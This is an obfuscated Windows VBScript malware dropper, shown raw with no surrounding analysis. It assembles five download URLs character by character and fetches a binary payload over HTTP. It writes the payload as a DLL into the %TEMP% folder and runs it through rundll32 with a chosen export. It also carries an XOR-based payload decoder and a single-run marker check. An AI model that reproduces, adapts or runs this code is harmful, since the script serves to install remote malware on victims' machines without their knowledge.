On Error Resume Next
Const Kq2 = 1, Bl0 = 2, Ni = 8
Const RFl1 = 1, Eb = 2, Wl4 = 2
Const Fy = "437"
Function RSb6(Tv3)
Dim XSf(255), UYz, VEk8
XSf(128)=199
XSf(129)=252
XSf(130)=233
XSf(131)=226
XSf(132)=228
XSf(133)=224
XSf(134)=229
XSf(135)=231
XSf(136)=234
XSf(137)=235
XSf(138)=232
XSf(139)=239
XSf(140)=238
XSf(141)=236
XSf(142)=196
XSf(143)=197
XSf(144)=201
XSf(145)=230
XSf(146)=198
XSf(147)=244
XSf(148)=246
XSf(149)=242
XSf(150)=251
XSf(151)=249
XSf(152)=255
XSf(153)=214
XSf(154)=220
XSf(155)=162
XSf(156)=163
XSf(157)=165
XSf(158)=8359
XSf(159)=402
XSf(160)=225
XSf(161)=237
XSf(162)=243
XSf(163)=250
XSf(164)=241
XSf(165)=209
XSf(166)=170
XSf(167)=186
XSf(168)=191
XSf(169)=8976
XSf(170)=172
XSf(171)=189
XSf(172)=188
XSf(173)=161
XSf(174)=171
XSf(175)=187
XSf(176)=9617
XSf(177)=9618
XSf(178)=9619
XSf(179)=9474
XSf(180)=9508
XSf(181)=9569
XSf(182)=9570
XSf(183)=9558
XSf(184)=9557
XSf(185)=9571
XSf(186)=9553
XSf(187)=9559
XSf(188)=9565
XSf(189)=9564
XSf(190)=9563
XSf(191)=9488
XSf(192)=9492
XSf(193)=9524
XSf(194)=9516
XSf(195)=9500
XSf(196)=9472
XSf(197)=9532
XSf(198)=9566
XSf(199)=9567
XSf(200)=9562
XSf(201)=9556
XSf(202)=9577
XSf(203)=9574
XSf(204)=9568
XSf(205)=9552
XSf(206)=9580
XSf(207)=9575
XSf(208)=9576
XSf(209)=9572
XSf(210)=9573
XSf(211)=9561
XSf(212)=9560
XSf(213)=9554
XSf(214)=9555
XSf(215)=9579
XSf(216)=9578
XSf(217)=9496
XSf(218)=9484
XSf(219)=9608
XSf(220)=9604
XSf(221)=9612
XSf(222)=9616
XSf(223)=9600
XSf(224)=945
XSf(225)=223
XSf(226)=915
XSf(227)=960
XSf(228)=931
XSf(229)=963
XSf(230)=181
XSf(231)=964
XSf(232)=934
XSf(233)=920
XSf(234)=937
XSf(235)=948
XSf(236)=8734
XSf(237)=966
XSf(238)=949
XSf(239)=8745
XSf(240)=8801
XSf(241)=177
XSf(242)=8805
XSf(243)=8804
XSf(244)=8992
XSf(245)=8993
XSf(246)=247
XSf(247)=8776
XSf(248)=176
XSf(249)=8729
XSf(250)=183
XSf(251)=8730
XSf(252)=8319
XSf(253)=178
XSf(254)=9632
XSf(255)=160
s = ""
For VEk8 = 0 To UBound(Tv3)
If Tv3(VEk8) < 0 Or Tv3(VEk8) > 255 Then
Err.Raise 50003, "", "a2s()", "", 0
ElseIf Tv3(VEk8) >= 128 Then
UYz = UYz & ChrW(XSf(Tv3(VEk8)))
Else
UYz = UYz & ChrW(Tv3(VEk8))
End If
Next
RSb6 = UYz
End Function
Function Nu3(OPb)
Dim Xj, PTi, UYz
Set Xj = CreateObject("ADODB.Stream")
Xj.type = Eb
Xj.Charset = Fy
Xj.Open
Xj.LoadFromFile OPb
UYz = Xj.ReadText
Xj.Close
Nu3 = WFo3(UYz)
End Function
Sub So(OPb, Tv3)
Dim Xj, UYz
Set Xj = CreateObject("ADODB.Stream")
Xj.type = Eb
Xj.Charset = Fy
Xj.Open
UYz = RSb6(Tv3)
Xj.WriteText UYz
Xj.SaveToFile OPb, Wl4
Xj.Close
End Sub
Function PKe(Iu7)
Dim UYz, LVb(0)
If Iu7 <= 0 Then
Err.Raise 50001, "", "makearrr()", "", 0
ElseIf Iu7 = 1 Then
PKe = LVb
Else
UYz = Space(Iu7-1)
PKe = Split(UYz, " ")
End If
End Function
Function THv7(url)
Dim HWy, IWu8, PTi, VEk8
Dim Ze, BLm3(1)
Set HWy = CreateObject("Scripting.FileSystemObject")
BLm3(0) = "WinHttp.WinHttpRequest.5.1"
BLm3(1) = "MSXML2.XMLHTTP"
For Each Ze in BLm3
Err.Clear
Set IWu8 = CreateObject(Ze)
If Err.Number = 0 Then
Exit For
End If
Next
IWu8.Open "GET", url, False
IWu8.Send
PTi = PKe(LenB(IWu8.ResponseBody))
For VEk8 = 1 To LenB(IWu8.ResponseBody)
PTi(VEk8-1) = AscB(MidB(IWu8.ResponseBody, VEk8, 1))
Next
THv7 = PTi
End Function
Function Re1()
Dim IRj, Ji, UUr5
Set IRj = CreateObject("WScript.Shell")
Set Ji = IRj.Environment("System")
UUr5 = Ji("PROCESSOR_ARCHITECTURE")
If LCase(UUr5) = "amd64" Then
Re1 = IRj.ExpandEnvironmentStrings("%SystemRoot%\SysWOW64\rundll32.exe")
Else
Re1 = IRj.ExpandEnvironmentStrings("%SystemRoot%\system32\rundll32.exe")
End If
End Function
Sub LBd(Ix, Lw1, Ut)
Dim IRj, HWy, Mm, MOd4, KNf
Set IRj = CreateObject("WScript.Shell")
Set HWy = CreateObject("Scripting.FileSystemObject")
Set Mm = HWy.GetFile(Ix)
MOd4 = Mm.ShortPath
KNf = Re1() + " " + MOd4 + "," + Lw1 + " " + Ut
If 2 > 1 Then
IRj.Run(KNf)
End If
End Sub
Function Ty(Ix)
Dim HWy
Set HWy = CreateObject("Scripting.FileSystemObject")
Ty = HWy.FileExists(Ix)
End Function
Function Ex6(Ix)
Dim HWy, Mm
Set HWy = CreateObject("Scripting.FileSystemObject")
Set Mm = HWy.GetFile(Ix)
Ex6 = Mm.ShortPath
End Function
Function BWg(KQg2, Rd0)
Dim Iu7
Iu7 = CDbl(Int(CDbl(KQg2)/CDbl(Rd0)))
BWg = CDbl(KQg2) - Iu7 * CDbl(Rd0)
End Function
Function Vu(BBa, UYz)
UYz(1) = 172 * UYz(1) Mod 30307
UYz(0) = 171 * UYz(0) Mod 30269
UYz(2) = 170 * UYz(2) Mod 30323
Dim Xf3
Xf3 = BWg((CDbl(UYz(0))/30269.0 + CDbl(UYz(1))/30307.0 + CDbl(UYz(2))/30323.0), 1.0)
Vu = Int(Xf3 * CDbl(BBa))
End Function
Function Kx(PTi, RBu)
Dim PIq5(2), Pj1, Zi, Ya2, VEk8
If UBound(PTi) < 3 Then
Err.Raise 50004, "", "size of array muzt be >= 4", "", 0
End If
Pj1 = PKe(UBound(PTi) - 3)
PIq5(0) = RBu(0)
PIq5(1) = RBu(1)
PIq5(2) = RBu(2)
For VEk8 = 0 To UBound(PTi)
PTi(VEk8) = PTi(VEk8) Xor Vu(256, PIq5)
Next
Zi = PTi(UBound(PTi)-3)+(PTi(UBound(PTi)-2)*256)+(PTi(UBound(PTi)-1)*256*256)+(PTi(UBound(PTi))*256*256*256)
Ya2 = VUf9
For VEk8 = 0 To UBound(Pj1)
Pj1(VEk8) = PTi(VEk8)
Ya2 = (Ya2 + PTi(VEk8)) Mod 1000000000
Next
If Ya2 <> Zi Then
Err.Raise 50005, "", "checksum error", "", 0
End If
Kx = Pj1
End Function
Function GEq(TOv6)
GEq = CInt(TOv6*Rnd())
End Function
Sub Hx(Oi)
WScript.Sleep(Oi)
End Sub
Randomize
Dim WQa2(2), VUf9, VIb(4), OPb
WQa2(0) = 6575
WQa2(1) = 24677
WQa2(2) = 15342
VUf9 = 46
If 1=1 Then
VIb(0) = "http://" & "a" & "n" & "g" & "u" & "n" & "d" & "o" & "v" & "i" & "z" & "." & "c" & "o" & "m" & "/" & "l" & "h" & "k" & "9" & "6" & "w" & "x"
End If
If 1=1 Then
VIb(1) = "http://" & "a" & "1" & "p" & "l" & "u" & "s" & "2" & "." & "d" & "e" & "/" & "l" & "j" & "w" & "x" & "w" & "6" & "v" & "h"
End If
If 1=1 Then
VIb(2) = "http://" & "e" & "n" & "z" & "y" & "m" & "a" & "." & "e" & "s" & "/" & "l" & "p" & "z" & "d" & "1" & "g" & "e" & "v"
End If
If 1=1 Then
VIb(3) = "http://" & "z" & "l" & "o" & "t" & "y" & "s" & "a" & "l" & "m" & "o" & "." & "n" & "e" & "t" & "/" & "0" & "z" & "x" & "0" & "k" & "e" & "n" & "3"
End If
If 1=1 Then
VIb(4) = "http://" & "a" & "o" & "t" & "e" & "a" & "t" & "r" & "i" & "a" & "l" & "." & "n" & "e" & "t" & "/" & "1" & "4" & "2" & "y" & "5" & "x"
End If
OPb = "vJlvsuTTmqgiF"
Dim IRj, Lv, Ov6, Wg
Set objShell = CreateObject("WScript.Shell")
Lv = objShell.ExpandEnvironmentStrings("%" & "TEMP%")
Dim Ag, AKw8, Ab7, Hk, VEk8
AKw8 = False
For VEk8=0 To 10: Do
Ov6 = Lv + "\" + OPb + CStr(VEk8) + ".dll"
If Ty(Ov6) Then
Wg = Ex6(Ov6) & ".txt"
If Ty(Wg) Then
WScript.Quit(0)
End If
End If
If Not AKw8 Then
Ag = GEq(UBound(VIb))
Ab7 = THv7(VIb(Ag))
If Err.Number <> 0 Then
Exit Do
End If
Hk = Ab7 ' Kx(Ab7, WQa2)
If Err.Number <> 0 Then
Exit Do
End If
So Ov6, Hk
If Err.Number <> 0 Then
Exit Do
End If
AKw8 = True
End If
LBd Ov6, "E"&"nhancedStoragePasswordConfig", "147"
Hx 24899
Loop While False: Next
If 3=3 Then
WScript.Quit(1)
End If
Comments